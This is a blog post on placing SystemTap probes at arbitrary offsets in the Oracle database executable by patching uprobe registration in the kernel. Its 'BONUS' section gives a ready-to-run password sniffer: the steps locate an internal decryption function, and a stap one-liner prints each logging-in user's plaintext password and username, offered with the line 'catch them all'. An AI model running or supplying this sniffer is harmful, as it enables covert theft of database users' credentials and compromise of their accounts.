systemtap probe at specific oracle function offset + BONUS

This is a trick i use to be able to put a systemtap probe at specific function offset in an oracle executable.That mean beside function entry and exit we can also probe at a specific offset such as “r0_aes_cbc_loop_dec_x86_intel+224”. Although this can be easily done using perf  (perf probe -oracle r0_aes_cbc_loop_dec_x86_intel+224)  or ftrace it seem not possible to do that using systemtap due to the lack of debuginfo .

This can be useful as a workaround for the error “registration error (rc 0)” described here or for other purpose !

Here is the systemtap script :

stap -g -v func_offset.stp oracle_exec_inode probe_function_address s_offset

This script will fire for uprobe_register (inode, c->offset , &c->consumer) and uprobe_unregister (inode, c->offset , &c->consumer) and if the inode argument is the same as the oracle executable  oracle_exec_inode it will check if c->offset is the same as our target function probe_function_address if this is the case it will add the specified offset s_offset else it will add +2 (Next instruction) as a workaround for “registration error (rc 0)”

probe kernel.function("uprobe_register"),kernel.function("uprobe_unregister")
 if( $inode->i_ino == $1) {
 if ($offset == $2 ) {
 printf("Patching special offset at %x\n", $offset);
 $offset = $offset + $3;
 } else {
 printf("Patching offset at %x\n", $offset);
 $offset = $offset + 2;


DOWNLOAD : func_offset.stp

Here is a DEMO (BONUS)  : a simple user/password sniffer

Test env : oracle 18c/OEL6/UEK4/stap 3.1

Let’s check our oracle inode number :

[root@svltest stp]# ls -i “/app/home18c/bin/oracle”
2764341 /app/home18c/bin/oracle

Based on my last blog post “Oracle getting anyone’s password”  i identified my target function  “r0_aes_cbc_loop_dec_x86_intel” offset +224 and the register RSI

Now our function address :

[root@svltest stp]# nm /app/home18c/bin/oracle | grep -i r0_aes_cbc_loop_dec_x86_intel
0000000005fe5830 T r0_aes_cbc_loop_dec_x86_intel

Subtract the base mapping address “0x400000” and we have 0x5be5830 .

The username will be extracted from the function “kziaia” register RDI

And That’s it ! In your first session run this script :

stap -g -v func_offset.stp 2764341 0x5be5830 224

In the second one run you password sniffer 🙂

stap -v -e ' probe process("oracle").function("r0_aes_cbc_loop_dec_x86_intel") { printf("Pass sniff : %s \n", user_string(register("rsi")) )} probe process("oracle").function("kziaia") { printf("User : %s\n",user_string(register("rdi"))) } '


That’s it catch them all 🙂

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